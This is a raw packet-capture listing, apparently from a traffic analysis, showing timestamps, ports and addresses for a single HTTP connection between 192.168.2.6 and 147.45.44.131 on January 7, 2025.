Jan 7, 2025 06:12:05.498194933 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.498197079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.498218060 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501526117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501538038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501560926 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501578093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501594067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501597881 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501622915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501632929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501638889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501650095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501676083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501686096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501687050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501696110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501720905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501720905 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501732111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501739979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501750946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501768112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501774073 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501777887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501806021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501807928 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501816988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501827002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501847029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501864910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501876116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501883030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501888990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501909018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501909971 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501919031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501945972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.501945972 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501974106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501985073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.501991034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.502017975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.502017975 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502031088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502063036 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.502199888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502228022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502238989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502249002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502259016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502264023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.502269983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502279043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.502280951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502293110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502302885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.502311945 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.502332926 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503191948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503202915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503212929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503240108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503243923 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503253937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503276110 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503277063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503288031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503298044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503304005 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503333092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503371000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503391981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503407955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503424883 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503434896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503443003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503447056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503458023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503468990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503484964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503499985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503504038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503511906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503535986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503546000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503550053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503557920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503576040 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503580093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503607988 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503618956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503628969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503638983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503655910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503671885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503683090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503694057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503720999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503849030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503859997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503870010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503880024 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503889084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503894091 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503894091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503901005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503927946 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.503969908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503981113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.503992081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504008055 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.504010916 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504026890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504029989 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.504038095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504048109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504057884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504060984 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.504069090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504079103 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.504082918 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.504097939 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.543014050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543047905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543065071 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543076038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543086052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543088913 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.543097019 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543108940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.543116093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.543162107 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590059042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590102911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590120077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590137959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590143919 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590154886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590167046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590178013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590187073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590192080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590198994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590214968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590234041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590296030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590306997 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590317965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590328932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590337038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590353012 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590409040 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590420008 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590430021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590440989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590441942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590451956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590461016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590471029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590471029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590492964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590504885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590508938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590522051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590538979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590543032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590562105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590573072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590574026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590584993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590595007 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590606928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.590610981 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.590637922 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.593790054 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593801022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593826056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593841076 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.593875885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.593909979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593924046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593934059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593955040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.593955994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593969107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593978882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.593991995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.593996048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594007969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594017029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594021082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594041109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594053984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594062090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594086885 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594091892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594101906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594111919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594121933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594134092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594149113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594280958 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594291925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594301939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594312906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594322920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594325066 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594332933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594343901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594355106 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594378948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594439030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594455957 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594474077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594492912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594505072 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594515085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594533920 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594544888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594556093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594566107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594574928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594578981 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594587088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594592094 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594598055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594609022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594618082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.594624043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.594640970 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595556021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595590115 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595594883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595613003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595623970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595647097 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595681906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595691919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595721960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595721960 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595742941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595752001 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595760107 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595762968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595771074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595788956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595788956 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595801115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595812082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595822096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595838070 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595868111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595868111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595884085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595895052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595904112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595915079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.595918894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595942020 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.595958948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596055984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596067905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596091986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596096039 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596102953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596113920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596132994 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596143961 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596151114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596160889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596170902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596174002 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596182108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596194029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596200943 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596209049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596219063 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596220016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596231937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596240044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596241951 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596270084 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596281052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596291065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596307993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596317053 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596329927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596337080 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596340895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596350908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596369982 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596446037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596457005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596466064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596477032 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.596487999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.596514940 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.635433912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635452986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635467052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635479927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635489941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635495901 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.635531902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.635540009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635551929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635562897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635571003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.635575056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.635591984 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.635608912 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682300091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682346106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682358027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682383060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682394981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682404995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682408094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682426929 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682441950 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682446003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682456970 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682496071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682638884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682657003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682667971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682691097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682708025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682713032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682718992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682729959 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682733059 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682742119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682754993 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682758093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682765961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682776928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682787895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682792902 CET	49712	80	192.168.2.6	147.45.44.131
